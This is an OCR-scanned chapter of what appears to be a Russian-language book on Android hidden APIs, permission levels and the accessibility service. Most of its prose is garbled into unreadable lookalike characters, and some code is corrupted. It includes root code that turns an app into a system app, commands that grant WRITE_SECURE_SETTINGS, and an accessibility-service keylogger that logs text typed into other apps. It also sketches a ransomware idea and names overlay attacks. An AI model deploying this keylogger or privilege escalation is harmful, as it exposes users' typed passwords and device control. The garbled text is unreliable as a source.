Bropoit cnoco6 ropasano npotue:

txry {
//noinspection ResourceType
Object service = context.getSystemService ("statusbar");

Class<?> statusbarManager = Class.forName ("android.app.StatusBarManager") ;
Method expand = statusbarManager.getMethod ("expandNotificationsPanel");
expand. invcke (service) ;

} catch (Exception e) {
Log.e ("StatusBar", e.toString());

3)1605 Mbl HaXOAHMM KJACC StatusBarManager, HAaXOAHUM H BBI3bIBAEM €ro METON
expandNotificationsPanel ().

Kaxue ewe ckpurtize API cywecTeytoT?

Ha camomMm pene, ux He Tak yx MHoro. B ocHoBHOM Android ucnone3yet ckpeiTeie API
JUIS B3aUMOZAEHCTBUA MEXIy CHCTEMHBIMH KJIaCCaMH, MO3TOMY B OCHOBHOM 3TO pa3jiHy-
Hble KOHCTaHThl U MOACOOHbIe (PyHKLHH, MaJIOWHTEPECHBIE OOBIYHBIM MPOrPaMMHCTAaM.
Ho ectb n Heckonbko HHTepecHBIX API, kKoTOpBIE MO3BONSIOT:

0O MOHTHpOBaTh, pa3MOHTHPOBaTh U (opMaTHUpOBaTh (paiiioBele cucteMsl (StorageMa-
nager);

nosiy4aTh pacuMpeHHyto uadopmaio o Wi-Fi (WifiManager);
y3Hatb UID u npouyro nadopmauuio o TekymeM npouecce (Process);
MOJTY4YUTh paclIMpeHHy0 HHpopMaiuio o 6a3oBoit cranuuu (CelllnfoL te);

y3Hatb THn ceTd (ConnectivityManager);

QOaaaoao

MOJTYYUTh CIIUCOK YCTAHOBJIEHHBIX NMAKETOB, MPUHAIJIEKALIMX YKa3aHHOMY MOJIb30Ba-
temo (PackageManager).

ITpo6nema 3aeck npocnexuBaeTcs TONBKO B TOM, 4TO MHOTHe U3 3THX API TpebGyrot cne-
LIHaIbHBIX TIOJIHOMOYHH, @ HEKOTOpPBIE M3 HHX 3alpelleHbl K HCIIOJb30BaHHIO B IMOCIHIE-
Hux Bepcusax Android. Cnincok 3anperneHHbrx API MOXHO HalTH 31€ch:

https://developer.android.com/distribute/best-practices/develop/restrictions-non-
sdk-interfaces.

3anper pegnexcum B8 Android 9

Haunnas ¢ Android 9, Google 3anpernna noctyn ko MHOrMM cKpbIThIM API ¢ nomolnsio
pediekcHH, HO GBICTPO BBIACHHIIOCH, YTO 3ALIUTY MOXKHO OOOMTH C MOMOLIBIO JBOHHON
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pe(bnekcmd (I/IHH Me’rape(pnekcuu), Korga BMECTO BbI3OBa ME€TOAA IPHIOKEHHE CaMO-
CTOATEJIBHO MPOCHT CAEJIaTh 3TO CaMy ONEPALHOHHYHO CHCTEMY:

val forName = Class::class.java.getMethod ("forName", String::class.java)

val getMethod = Class::class.java.getMethod("getMethod", String::class.java,
arrayOf<Class<*>>() ::class.java)

val someHiddenClass = forName.invoke (null, "android.some.hidden.Class") as Class<*>

val someHiddenMethod = getMethod.invoke (someHiddenClass, "someHiddenMethod",
String::class.java)

someHiddenMethod. invoke (null, "some important string")

OnHako, HaunHas ¢ Android 11, 3ToT cnoco6 Takke nmepectan paboTath, HO TOJIBKO B
OTHOLUEHHH NMpHI0KeHHH, coOpaHHbIX 11 API 30 U Bbile (targetSdk=30). [Ipunoxenus,
cobpaHHble 01 6onee paHHUX BepcHii Android, cMOryT Hcnonb3oBaTh pedekcHio.

CuctemHuin API

Kpome ckpeitbix API, B Android ectes psin cucTeMHbIX API, DOCTYMHBIX HCKITIOYHUTEIBHO
MPHIOXKEHHSM, MOAMHUCAHHBIM KJIIOYOM MPOIUMBKH, JIMOO pa3MELEHHBIX B CHCTEMHOM
katasnore. B atom pasnene Mbl monpoGyeM pa3oOparbcs, Kak MOMYyYHTh JAOCTYN K 3THM
API 1 kakyHe BO3BMOXXHOCTH OHH OTKpBIBAIOT.

HemHoro teopum

Kak MbI BeIsICHHIIH paHee, B Android ecTb Takoe MOHATHE, KaK HOTHOMOYUAL NPUNOHCEHUIL
(permissions), 1H60 pa3peLieHHs, kOMy Kak Gonblie HpaBUTCA. [T0JTHOMOYHS MPOMHUCHI-
BalOTCA B (haiiy1 Manifest . xml KaXAOrO MPUJIOKEHHS H ONPENEIAIOT TO, K KaKUM QYHKLMAM
API cMoxXeT nosy4yuTh OOCTYN MpHIOKeHHe. XOTHTe paboTaTh ¢ kamepod — nobaBbTe
BManifest.xml CTPOKY <uses-permission android:name="android.permission.CAMERA" />. Hy-
XKEH OCTYM K KapTe€ MaMATH — android.permission.READ EXTERNAL_STORAGE. Bcee MPOCTO H
JIOTHYHO, K TOMY € BCE€ AOCTYIHbIE MPUIOKEHHUAM MOJHOMOYHS XOPOLIO JOKYMEHTHPO-
BaHbl (https://developer.android.com/reference/android/Manifest.permission?hl=ru).

EcTb, onHako, B 3TOH CTPOHHOH cXeMe OlHa OYeHb BaXKHas JeTajlb, KOTOPYIO CaMH CO3-
narend Android Ha3eIBalOT yposens docmyna (protection level). UTo6bl MOHATE, YTO 3TO
Takoe, nonpobyire 106aBUTh B Manifest.xml JIOOOTO CBOEro MPHJIOKEHHUS CIETyIOLLYIO
CTPOKY: '

<uses-permission android:name="android.permission.WRITE SECURE SETTINGS" />

[To mnee, naHHoe paspelleHHe AOMDKHO OTKPbITh JocTyn K API, koTopelii no3sonser
nepeBOAHTh cMapTHOH B PeXHM MojeTa, BKIoyaTh/Beikiodate GPS u penate apyrue
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none3nble Bew. Ho Android Studio Tak He cuuTaer M Mo3TOMy cpasy MOAYEPKHBAET
CTPOKY Kak olIHOKY ¢ hopmynupoBkoii Permission is only granted to system apps. 310
M €CTb Mpeaynpex/eHHe 0 HapyLIeHHH Toro camoro ypoBHs goctyna. IDE kak 6s1 roo-
pUT HaM: Ja, Bbl MOXeTe MNomnpoboBaTh JaTh CBOEMY TMPHIOKEHHIO pa3pelleHHe
WRITE SECURE SETTINGS, HO Android Bce paBHO He pa3pelUMT BaM HCMOJIb30BaTh 3aKpern-
neHHbI 3a HUM API o Tex mop, moka Bbl He clieflaeTe CBOE MPHIOKEHHE CHCTEMHBIM.
A 4TO 3HAYUT «CHCTEMHBIM» B JJAaHHOM ciyuyae? DTO 3HAUMT, NMOKa HE MOJIMHMLIETE €ro
TeM ke LUM(PPOBBIM KJIOYOM, KAaKHM MOAMHCaHa caMa MpOLUHMBKA.

OdunuansHo B Android cylecTByIOT YeThIpe YPOBHS MOJTHOMYHIA:

O normal — «o0bIYHBIE» MOJTHOMOYHS, OTKpBIBAIOILHE MPHJIOKEHHIO AocTyn k Oes-
OOMIHBIM (PYHKLHMSAM, KOTOpblE HE MOJYYHTCS MCMOJIB30BaTh B KOBapHBIX LEIAX
(MpHMepsI: SET ALARM, ACCESS NETWORK STATE, VIBRATE). CHCTEMa Jaxke He MpeayrnpeauT,
YTO MPHJIOKEHHE BOOOILE HX HCTOJb3YET;

O dangerous — «onacHble» MOJTHOMOYHS, KOTOpbI€ MPHIOKEHHE TMOJYYHT TOJbKO
B CJy4ae COIJlacHs MoJb30BaTesis (MPUMEpBI: READ SMS, SEND SMS, CALL PHONE, READ
CALL LOG);

O signature — [0CTYNMHbI TOJBKO MPHJIOXKEHHUAM, MOAMHUCAHHBIM KJIIOUYOM MNPOLUMBKH
(NpuMepBI: GET_TASKS, MANAGE USERS, WRITE_SETTINGS, MOUNTUNMOUNT FILESYSTEMS);

O priveleged — nocTynHbl NMPUIOKEHUAM, pacnoaraLUUMCs B KaTanore/system/priv-
app.

B GonbLuMHCTBE ciiyyaeB YpOBHH JocTyTia signature u priveleged paBHouneHHbl. Harpu-
Mep, YTOObI MOJYYHUTh MOJTHOMOYHE MANAGE USERS, MPHJIOKEHHE TOJIKHO ObITh JIHOO Moj-
MHCaHO KJIIOYOM MPOLUUBKH, JIMOO pa3MelleHo B Katajore /system/priv-app. Ho ectb u
MCKJIIOYEHHs, HarpHMep TMOJHOMOYHE MANAGE DEVICE ADMIN HMEET YpPOBEHb JOCTymna
signature, T. €. €IMHCTBEHHBIH CMOCOO €ro MoJy4YHUTh — MOAMHCATH MPHUIOKEHHE KITHO-
YOM MPOLIMBKH.

Ectb Taioke Habop BHYTpeHHHX YpOBHEH IocTyna, BBeAeHHbIX B Android ans peiueHus
onpeneneHHbIX npobsieM: installer, development, preinstalled, appop, pre23. Ilo cyty,
3TO KOCTBUIH, H Ha IaHHOM 3Tare Bbl MOXKETE O HUX HE JAyMaTb, OJHAKO K YPOBHIO J0C-
tyna development MbI elle BepHEMCS, H OH HAM OY€Hb CHJIBHO MPHUroAMTCs. A moka rno-
rOBOPHM O TOM, KaK MOJIyYHTb HY>KHbIE HAM YPOBHH JOCTYMNa H YTO OHH JAIOT.

YposeHb poctyna privileged

Privileged — He caMblii BLICOKHI ypPOBEHb JOCTYMAa W MO3BOJISET HUCMOIb30BATh JAIEKO
He Becb APl Android. OnHako B GONBLIMHCTBE ClIy4aeB €ro OKa3bIBae€TCS BMOJIHE JOCTa-
TOYHO, T.K. OH MO3BOJIAET YCTaHABJIMBATh W YJaNATh MPUIOKEHHS W MOJb30BaTesiei
(INSTALL PACKAGES, DELETE PACKAGES, MANAGE USERS), YMPaBJIATh CTaTyCHOH CTPOKO# (STATUS
BAR), YMPAaBIATh HEKOTOPbIMH HACTPOHWKAaMH MHUTaHHs (WRITE SECURE SETTINGS), YHTATh M
U3MEHATh HacTpoiiku Wi-Fi (READ WIFI CRIDENTIAL, OVERRIDE WIFI CONFIG), OTKJIIOYATh
MPHIOKEHHUS U UX KOMIOHEHTHI (CHANGE COMPONENT ENABLED STATE) M MHOroe apyroe. Cnu-
cok priveleged-nonHomMounii MoxxHO nocMoTtpets B HcxoaHukax Android (https://
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github.com/android/platform_frameworks_base/blob/master/core/res/AndroidMani
fest.xml), mpocTbIM MOKCKOM MO cllOBY «privileged».

YT100bl MpHIIOKEHHE MOJNYUHUIIO YpOBeHb aocTyna priveleged, oHo nomkHO ObITh ycTa-
HOBJIEHO B KaTajor /system/priv-app, @ 3TO 3HA4MT, MOCTABATHCA NPeAyCTaHOBJIEHHbBIM
B COCTaBe MPOLIHBKH.

B panHux Bepcusax Android Mbl MOFIM NMOJYYUTb 3TH MOJAHOMOUHS, MPOCTO CKOMHPOBAB
NPUIOKEHHE B CUCTEMHBIH KaTaslor ¢ MOMOLLBIO NpaB root U cineayroulero koaa. OaqHako
coBpeMeHHbIH Android He MO3BOMsAET MEPEenoAKIIOUMTL CUCTEMHBIH pa3aen B pexume
3anmucH, M 3ToT crnocol® Oosblie He paboTaeT (MCXOAHbIH KOA (PYHKLMH runSuCommand
npuBeseH B pazaene «llpaea root»):

java J

// OYHKLMA HOeJlaeT yKa3aHHOEe MPUJIOKEHME CUCTEMHBM M OTMPABJIAET CMApPTHOH B MATKYIO
riepe3arpy3Ky
static public void makeAppSystem(String appName) {

String systemPrivAppDir = "/system/priv-app/";

String systemAppDir = "/system/app/";

String appPath = "/data/app/" + appName;

// TlonxiwdaeM /system B pexuMe UTEHMSE-3armcu

if (!'runSuCommand("mount -o remount,rw /system", true)) f{
Log.e (TAG, "makeAppSystem: Can't mount /system");
return;

int api = Build.VERSION.SDK INT;
String appDir = systemPrivAppDir;

// KomupyeM npuioxeHue B /system/priv-app wm /system/app B 3aBUCMMOCTH
or Bepcum Android

if (api >= 21) {
runSuCommand ("cp -R " + appPath + "* " + appDir, true);
runSuCommand ("chown -R 0:0 " + appDir + appName + "*", true);
runSuCommand ("rm -Rf " + appPath + "*", true);

} else {
if (api < 20) { appDir = systemAppDir; }
runSuCommand ("cp " + appPath + "* " + appDir, true);
runSuCommand ("chown 0:0 " + appDir + appName + "*", true);
runSuCommand ("rm -f " + appPath + "*", true);

// OTnpaBnseM CMapTOOH B MATKYK [epe3arpysky
Shell.runSuCommand ("am restart", true);
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YposeHb gocTtyna signature

IMoanuch KIOYOM MPOLIWBKH MO3BOJIAET MOMYYHTh CaMblii BBICOKHH YPOBEHb AOCTYMa
Kk API — signature. HMeloliee Takoii JOCTYI MPUIOKEHHE MOXET AeNaTh O4E€Hb MHOTO€:
MaHMITyJIHpOBaTh JIOOBIMH HacTpoiikaMd Android, HagenaTe NPHIOKEHHS MNpaBaMH
aJIMHHHCTpaTopa (MANAGE DEVICE ADMINS), NMPOTpaMMHO HaXKHMaTbh KHOMKH H BBOIMTBH
JaHHBIE B J0O0€ OKHO (INJECT EVENTS) H MHOTO€ ApYroe.

ITonyuuts TakoH ypoBEHb OOCTyNa Ha CTOKOBOHM MPOLIMBKE MOYTH HEBO3MOXHO. Hu
OJMH MPOMU3BOIUTENb CMAPT(POHOB HE MPEAOCTABHT BaM KJIIOY 11 MOAMKCH CBOHMX MpO-
mwmBoK. Ho eciu peyb HAOET 0 KaCTOMHOI MPOLIKMBKE, TO BCE CTAHOBUTCA HEMHOTO MPOLLE.
Hanpumep, HeopuimansHelie c6opku LineageOS M IpyrMx KacTOMHBIX MPOLUHBOK YacToO
MOAMHUCHIBAIOTCA TECTOBBIM KIIOYOM, @ €ro OCOOEHHOCTh 3aKJIIOYAeTcs B TOM, YTO OH
€CTh B OTKPBITOM JOCTYTIE.

C npyroii ctopoHsl, B LineageOS ecth MexaHH3M 6€30MacHOCTH, KOTOPBIi, B OTIMYHE OT
yuctoro Android, He MO3BOJAET MOMy4YaTh YPOBEHb JOCTyMNa signature aGCOMOTHO BCeM
NPUJIOXKEHHUAM, MOAMMCAHHBIM KIKOYOM TMPOLUMBKH, a TOJBKO TEM, YTO pa3MelleHbI
B /system/priv-app. A MIEpeMOHTHPOBaTh CHCTEMHBIH pa3zen AJs 3anuCH B COBPEMEHHOM
Android HeBO3MOXHO.

YposeHb poctyna development

B Android ects crenuanbHblii ypoBeHb Aoctyna development, oTauuyne koToporo 3a-
KIIOYaeTCs B TOM, YTO TMPHIOXKEHHA TMOMY4alOT €ro He Mno ¢akTy pa3MelleHHs
B /system/priv-app HJIH HCTOJIb30BaHHA LIMGPOBOH MOAMHCH MPOLUMBKH, a AUHAMHYECKH.
To ecTh cucTeMa MOXET JaTh TaKOH yPOBEHb JOCTYMA JTI0OOMY MPHIOKEHHIO, a8 MOXKET H
oro3Bath ero. Ho camoe BaxkHOe, YTO, HMes MpaBa root, MPHIOKEHHE MOXKET HAaJETHTh
ce6s TaKHM YPOBHEM JOCTyNa CaMOCTOATeNbHO. UToOBI 3TO caenaTth, JOCTATOYHO MC-
MOJIB30BaTh MPUMEPHO TaKOH KOA:

runSuCommand ("pm grant " + appName + " android.permission.WRITE SECURE SETTINGS", true);

Bbonee TOr0, MPHJI0KEHHE MOXKHO HAACJIHTh 3THM INOJTHOMOYHEM, HCITOJIb3Yy A ADB:

$ adb shell pm grant appName android.permission.WRITE SECURE_SETTINGS

B JaHHOM CJly4ae€ MpPHUJIIOKCHHUE appName MOJYYHUT MOJTHOMOYHE WRITE SECURE SETTINGS BHE
3aBUCHUMOCTH OT TOro, ra€ OHO pasMEIICHO H KaKHUM KIIHOYOM IMOAMHCAHO.

ITonHOMOYHe WRITE SECURE SETTINGS MosBWJIOCh B Android 4.2 mns 3alluThl HEKOTOPBIX
KpHUTHYECKH BaXkHbIX HacTpoek Android. Cpenu TakMx HacTpoeK — BKIIOYEHHE W BhI-
KIIOYEHHE peXHMa M0JIeTa, yNpaBleHHEe HACTPOHKaMH MECTOMOJIOKEHHA M Tepenayu
naHHbIX. OHO 3auIMINEHO cpa3y TpeMs YPOBHAMM JoCTyma: signature, privileged u
development. To ecTb Bbl MOXETE HCMOIB30BaTh JM000H U3 MEPEYUCIIEHHBIX BBILLE CIIO-
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coboB MOJIYYEHHs YPOBHSA OOCTYTIIA, yToOBI HANEJIUTh CBOE [MPHJIOKEHHUE MMOJJHOMOYHEM
WRITE SECURE SETTINGS. Kak ucnonb3oBatb OTKPBIBLLIHECA BO3MOXXHOCTH? HanpuMep, TakK:

// UnTaeMm Tekyuee 3HaueHME HACTPOIKU

boolean isEnabled = Settings.System.getInt (getContentResolver (),
Settings.System.AIRPLANE MODE ON, 0) == 1;

// TlepexsouaeM HaCTPOMKY

Settings.System.putlInt (getContentResolver(), Settings.System.AIRPLANE MODE ON,
isEnabled ? 0 : 1);

// OTrpaBigeM VHTEHT MJIS [epeKJIoUEHNA

Intent intent = new Intent (Intent.ACTION AIRPLANE MODE CHANGED) ;
intent.putExtra("state", !isEnabled);

sendBroadcast (intent) ;

3TOT KOJ nepeKyIroyaeT cMapTdoH B pexHM MoseTa WiH HaoObopoT, B 3aBUCHMOCTH OT
TEKYLLEro COCTOSIHHS.

TIpasa aamuHucTpatopa u cepsuc Accessibility

Kpome TpaauumoHHbIX nonHoMouuit B Android ecTh Tpu MeTapaspelueHus, KOTOpble OT-
KpPbIBAIOT IOCTYM K BECbMa OMacHbIM, HO MOPOii o4eHb nosie3HsiM API:

1. AnMuHuctpupoBaHue yctpoiictBa — API, npenHazHayeHHbIH A7 KOPOPAaTHBHBIX
npuioxeHuil. [lo3Bonser BbIMONHATL TakHe OMNepaLMH, Kak cOpoc U yCTaHOBKa Mapo-
ns 9KpaHa OJIOKMPOBKH, BBIMOJHATH cOpoc cMapTdoHa N0 3aBOACKHX HACTPOEK U
yCTaHaBJIMBaTh MpaBHJIa MHUHUMAJbHOH ClOXKHOCTH maposis. OqHa u3 ocobeHHocTeH
API — 3anper Ha ynaneHHe NMpUI0KEHHS, MOJYYHBLIEro Npasa aAIMHHUCTPATOPa, YeM
C paJlOCThIO MOJIBb3YIOTCS aBTOPHI BpenoHocHoro [10.

2. Accessibility — API qis peanusauMd NpHIOKEHHH IS JIOAEH C OrpaHMYEHHBIMH
Bo3MoxcHoCcTAMH. DakTrueckd API no3BonseTr co3naBaTh anbTepHaTHBHbIE COCOOBI
yNpaBJIeHHs YCTPOHCTBOM H MO3TOMY OTKPbIBA€T MOMCTHHE Oe3rpaHHYHble BO3MOXK-
HocTH. C ero rnoMouibio MOXKHO MOJYYHTh JOCTYI K COAEPKUMOMY 3KpaHa MpakTH-
YyeckH JIoOOro MpHIOKEHHs, HaXHMaTh Ha KHOMKH HWHTepdelca M nporpaMMHO
HaXKMMaTh KJIaBHLIK camoro cMmaptdoHa. Ho ectb u crnocob 3auurel: pa3paboTyuk
- IPUIIOXKEHHS MOXKET MPAMO YKa3aThb, YTO OMpeesieHHbIE 37IEMEHThl HHTepdelica npHu-
JoxeHus OylyT HeOCTYIMHbI U1 cepBHCOB Accessibility.

3. Veenomnenus — API, no3ponsrouiuii MosyydTh AOCTYN KO BCEM YBEIOMIIEHHUSAM,
otobpaxaromiuMcss B naHenu yseaomsieHdd. C nomoiubto 3toro APl nmpunoxeHue
MOJKET MPOYHTATh BCIO HH(OpMaLHio 00 yBEJOMIIEHHH, BKJIFOYas 3aroJIOBOK, TEKCT U
COZIep>)KUMOE KHOTIOK YMNpaBJIEHHs, HaKaTb Ha 3TH KHOMKH U JJa)ke€ CMaXHYTb YBEIOM-
nenue. APl none3yercs ocoboit momynsspHOCTBIO cpear pa3pabOTYMKOB BCEBO3MOMXK-



Ucnonb3yem 803mMoxHocmu Android 8 NuYHbIX Uensax 217

HbIX 6aHKOBCKHX'TpOﬂHOB,C NMOMOLWbIO KOTOPOro OHH MOTr'yT YHTAaTb KOAbI MOATBEP-
KACHHA H CMAaxXHBaThb Mpeaynpexaarollue co0011leHHs OT OaHKOB.

[TonyuuB poctyn ko BceM 3TUM API, 3n0BpeaHoe mpuiiokeHHe CMOXET caeflaTb co
cMapT¢$OHOM MPAKTHYECKH BCE YTO YroaHO. IMEHHO MO3TOMY [J1s 3aLUMThI HCMOb3YIOT-
csl He TpaJAHLUHMOHHbIE 3aMpochl MOJHOMOUHIA, Ha KOTOpbIE MOJIb30BAaTENb MOXET MaLlIH-
HanbHO OTBETHTH: «Jlay, a CKpBITbIA ryOOKO B HAacTpolkax HHTepdeHc, KOTOpbiH NpH
aKTHBaLMH MOKaXeT yrpoxatoluee cooblueHue. Bee, yTo MOXeT caenatb npHaoKeHHe,
4TOObI MOJNYYHTh HY)KHOE MOJTHOMOYHE, — 3TO NMepedpPOCHTh NMOJIb30BaTENS B OKHO 3THX
HaCTpOeK, MocJie Yero MnocaeAHUi aomkeH OyaeT HaHTH HYXHOe NPUJIOXKEHHE, BKIIIOYHTD
COOTBETCTBYIOLUHH MepektoyaTe b H COrJIaCHTbCS ¢ MpeayNpeXAaoLLHM COOOLLEHHEM.

3acTaBHUTb MOJIb30BaTENs JaTh pa3pelleHHe Ha ucnosb3oBaHue 3THX APl moxHO obma-
HOM. 3ayacTyio 3/1I0Bpelbl MPHUKHABIBAIOTCS JIETHTHMHBIMH MPHIOKEHHAMH, KOTOPbIM
paspeuieHHe Hy>KHO U1 paboThl kitoueBoi pyHKUHOHaTbHOCTH. K npumepy, 310 MOoXeT
ObITb MPHIOXKEHHE AJIA BEACHHUS >KypHalla YBeJOMJIEHHH WM MPHIIOXKEHHE U1 albTep-
HAaTHBHOMH >KECTOBOH HaBHraLHH (TaKOMY MPHIIOXKEHHIO HY>KeH cepBUc Accessibility ans
HaXkaTWs KHOMOK HaBHrauuu). Takxke MoxxHO Wcronb3oBath artaky Cloak & Dagger,
4TOOBI MEPEKPBITH OKHO HACTPOEK APYrHM 6e300HAHBIM OKHOM.

Haxumaem kHONku cmaptgpoHa

[MpocTeiimii cepuc Accessibility MoxeT BbIrsaeTh Tak:

otin | B

class AccessService: AccessibilityService() f

companion object {
var service: AccessibilityService? = null

// Meron mis MpOTPaMMHOTO HakaTus KHOMkM "Iomoir"
fun pressHome () {
service?.performGlobalAction (GLOBAL.ACTION_ HOME)

override fun onServiceConnected() |
service = this
super.onServiceConnected ()

override fun onUnbind(intent: Intent?): Boolean ({
service = null
return super.onUnbind (intent)

override fun onlInterrupt() ({}
override fun onAccessibilityEvent (event: AccessibilityEvent) {}

}
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Uro65! cHcTEMa y3HaIa PO Halll CEPBHC, €ro He06X0MMO OOBABUTB B AndroidManifest.xml:

<service

android:name=".AccessService"
android:label="@string/app name"

android:exported="false"
android:permission="android.permission.BIND ACCESSIBILITY SERVICE">
<intent-filter>

<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility service config" />
</service>

3T0 onMcaHHe cchUIaeTcs Ha KOHQMrypalMOHHBIH aiin accessibility service
config.xml, KOTOPBIi JOJDKeH OBITH OmpeneneH B kaTtajore xml mpoekrta. [[ns Haurero
clly4as A0CTaTo4yHO 6yaeT Takoro koHpura:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:canRetrieveWindowContent="false" )
android:description="@string/accessibility description" />

IMocne Toro kak Mojip30BaTeNb BKIIOYHT Hawl cepBHc Accessibility B okHe Hactpoii-
kH — Cnen. Bo3MoXKHOCTH, CHCTEMa aBTOMaTHYECKH 3aIMyCTHT CEPBHUC, H MBI CMOXEM
BBINOJHUTH (GYHKLHIO pressHome (), YTOOBI HAXKATh KHOMKY «JIoMO#i»:

// Ecim service He null - 3HAuMT, CUCTeMa YCMEWHO 3aMyCTMia CEPBUC
if (AccessService.service != null) {

AccessService.pressHome ()

OnHOM NUIIB TONBKO 3TOH (YHKUHOHATBHOCTH AOCTATOYHO, YTOOBI pealu3oBaTh
Ransomware, koTopblii 6yner BbI3bIBaTh GYHKLHIO pressHome () B LIHKJIE, YTOOBI 6ecko-
HEYHO BO3BpALIATh MOJb30BATENA HAa AOMAIIHHHA 3KpaH, HE AaBas HOPMAJIbHO HCIOJb30-
BaTh YCTPOMCTBO (pHc. 15.4).

OpHako Hactoswas Mowe Accessibility kpoercs He B HaXKaTHH KHOIMOK HABUTALHH,
a B BO3MOXKHOCTH KOHTPOJTHPOBATh APYTHE MPUIIOKEHHS.
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CuHTes peun

Puc. 15.4. OkHo BrnoueHun cepsuca Accessibility 8 Android 11

M3snekaem TekcT U3 noneii seoaa

API Accessibility 6611 co3naH mis noaei ¢ orpaHMYeHHBIMH Bo3MoxkHOCTAMH. C ero
MOMOLIBIO MOXXHO, HamnpHMep, co3laTh MPHIOKEHHe, KoTopoe OyneT 3auWThiBaTh BCE
HaaAnucH uHTepdeiica U MO3BONUT «HKHUMATb» Ha 31eMeHThl HHTepdeiica ronocoM. Bee
3TO BO3MOXKHO Gnaronaps ToMy, 4to Accessibility oTkpbiBaeT MonHbli OOCTYN K HHTEp-
delicy npunoxeHuil B BUAE AepeBa 3JIEMEHTOB, MO KOTOPOMY MOXHO MPOMTH W BBIMOJ-
HHTb HaJ 3JleMEHTaMH Onpe/esieHHbIE OnepaLtH.

Yr1oObl HayuHTh Hallle MPUJIOXKEHHE «XOOUThbY MO HHTepdeHCy MpUIIoXKEHHH, MbI 1OJIXK-
HBI U3MEHHTb OMHWCaHHE CepBHCa B ero Hactpoikax. Cneayromas koHQUrypauus naet
NOJIHBIA AocTyn k HHTepdeiicy 1060ro NpHIoKeHHs:
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<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault"
android:canRequestEnhancedWebAccessibility="true"
android:notificationTimeout="100"
android:packageNames="@null"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
/>

Tenepp HanuieM npocteiunii keinorrep. s 3Toro 106aBUM B YK€ CYILECTBYIOLIHHA
KOJ1 CEpBHCA TaKyIO (YHKLHIO:

override fun onAccessibilityEvent (event: AccessibilityEvent) {
if (event.source?.className == "android.widget.EditText") {
Log.d("EditText text: ", event.source?.text.toString())

Tenepb BCEC, YTO MOJIb30BATEJIb BBEIET B moboe mnosie BBOJa moboro TMPHJIIOXKEHHA, 6yneT
BbIBEJI€EHO B KOHCOJIb.

API Accessibility 1ocTaToyHO pa3BHT M MO3BOJISET MEPEMELLATHCS MO IEPEBY IEMEHTOB,
KOMHUPOBaTh TEKCT 3JIEMEHTOB, BCTABJIATh B HUX TEKCT M BBIMOJHATh MHOXXECTBO IPYrHX
AEHCTBHH. DTO NEHCTBUTENBLHO ONACHBIH HHCTPYMEHT, no3toMy Android Gyzaer ucnose-
30BaTh JIIOOYIO BO3MOXHOCTB, YTOOBI OTO3BaTh mMpaBa Accessibility y npuaoxeHHs.
Hanpumep, 310 nmpousoiaer npu nepBoM ke naaeHuu cepsuca. Kpome toro, Android
TaKXkKe MpeoCTaBNseT pa3paboTuHKaM crnocob 3aLMThl KPHTHYECKUX KOMIIOHEHTOB MpH-
JIO)KEHHS C MOMOILUBIO (bnara importantForAccessibility:

xml

<LinearLayout
android:importantForAccessibility="noHideDescendants"
/>

3TOT KO CKpOET JIBHOYT U BCEX €ro MoToMKOB OT cepBUCOB Accessibility. To xe camoe
B KOJ€:

kotlin

view.setImportantForAccessibility (IMPORTANT FOR ACCESSIBILITY NO HIDE DESCENDANTS) ;
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Ectb yno6Hsiit crioco6 caenats gamn Ul m060ro npuiioxkeH!s TAKHM, KAKHM €ro BHIUT
cepBHc Accessibility (puc. 15.5):

$ adb shell uiautomator dump
$ adb pull /sdcard/window dump.xml

<?xml version='1.8‘ encoding='UTF-8 standalone='yes' ?>
<hierarchy rotation="g">
<node index=“®" texts" resource-id="“ class="android.widget.FrameLayout” package="org.telegram.messenger“ content-desc="" checkable
="false" checked=*false“ clickable="false" enabled="true“ focusable=“faise* focused="false" scrollable="false" long-clickable="false”
password="false" selected="false" bounds="{0,08]{168€,2168]">
<node index="8" text="° resource-id="" class="android.widget.linearlayout™ package="org.telegram.messenger” content-desc="" checkable
="failse" checked="false" clickable="false* enabled="true* focusable="false* focused="false* scrollable=“false” long-clickable
=“false* password="false* selected="false” bounds="{9,8}{1680,2168]">
<node index-"@" text=“" resource-id-"android::d/content” class="android.widget.FrameLayout” package="org.telegras.messenger”
content-desc="" checkable="fals2" checked="false~ clickable="false" enabled="true" focusable="false" focused="false"
scrollabl false" long-clickable="false" password="false" selected="false” bounds="[#,0]{1088,216€]">
<node index="9“ text="" resource-id="“ class=“android.widget.Framelayout” package="org.telegras.ressenger” content-desc=""
checkable-“false” checked="false” clickable="faise* enabled=*true focusable="false" focuse alse" scrollable="false”
long-clickable=*faise® password="false“ selected-"false* bounds="{@,8][1088,2160]">
<node index="8* text="* resource-id="" class="android.widget.FrameLayout~ package="org.telegram.messenger” content-desc=*"
checkable="false" checked="false“ clickable="false" enabled="true“ focusable="true" focused="false* scrollable="false*
long-clickable="false* password="false" selected="false” bounds="[6,e][1888,2168]“>
<node index=“6" text="" resource-id="" class="android.widget.FramelLayout” packag rg.telegram.messenger” content
-desc="" checkable="false" checked="false* clickable=*false" enable rue” focusable=“false" focused="false"
scrollable="false" long-clickable:"false® password=”false" selected="false* bounds="[9.8][10886,2160]">
<node index="€“ text="* resource-id="" class="android.widget.FramelLayout" package="org.telegram.messenger” content
-desc="* checkable="false" checked="false" clickable="false" enabled="true" focusable="false" focused="false"
scrollable=*faise® long-clickable=*false" passward="false® selected="false" bounds="{9,8}{1688,2168]" />
<node index:"1" text:"" resource-id="" class="android.widget.Framelayout” package=“org.telegram.sessenger” content
-desc="" checkable="false" checked="false" clickable="false" enabled="true focusable=“faise" focused="false”
scrollable="false* long-clickable="false" password="false" selected="faise" bounds=~{9,9}{168¢,2166]">
<node index="g" text="" resource-id=>" class="android.widget.Frameiayout” package="org.telegram.messenger"
content-desc="" checkable=*false® checked="Talse” clickable='false”|enabled="true® focusable=*false"
focused="false” scrollable="false" long-clickable=*false® password=*false" selected="false" bounds="{8
6](1688,2166]“>
<node index="B“ text="“ resource-id="" class="android.widget .‘FrameLayout" package="org.telegram.mpessenger™
content-desc="" checkable="false" checked="false” clickable="true" enabled="1rue" focusable="true~
focused="false” scrollable="false” long-clickable="false” password="false" selected="false" bounds="{8
,e}{18s88,298] ">

cnode indey-TA" TeyPos® 14="* rlassctandraid widned Tmaceliew" nackanez"nca telenran

Puc. 15.5. lamn uHtepdeirca Telegram

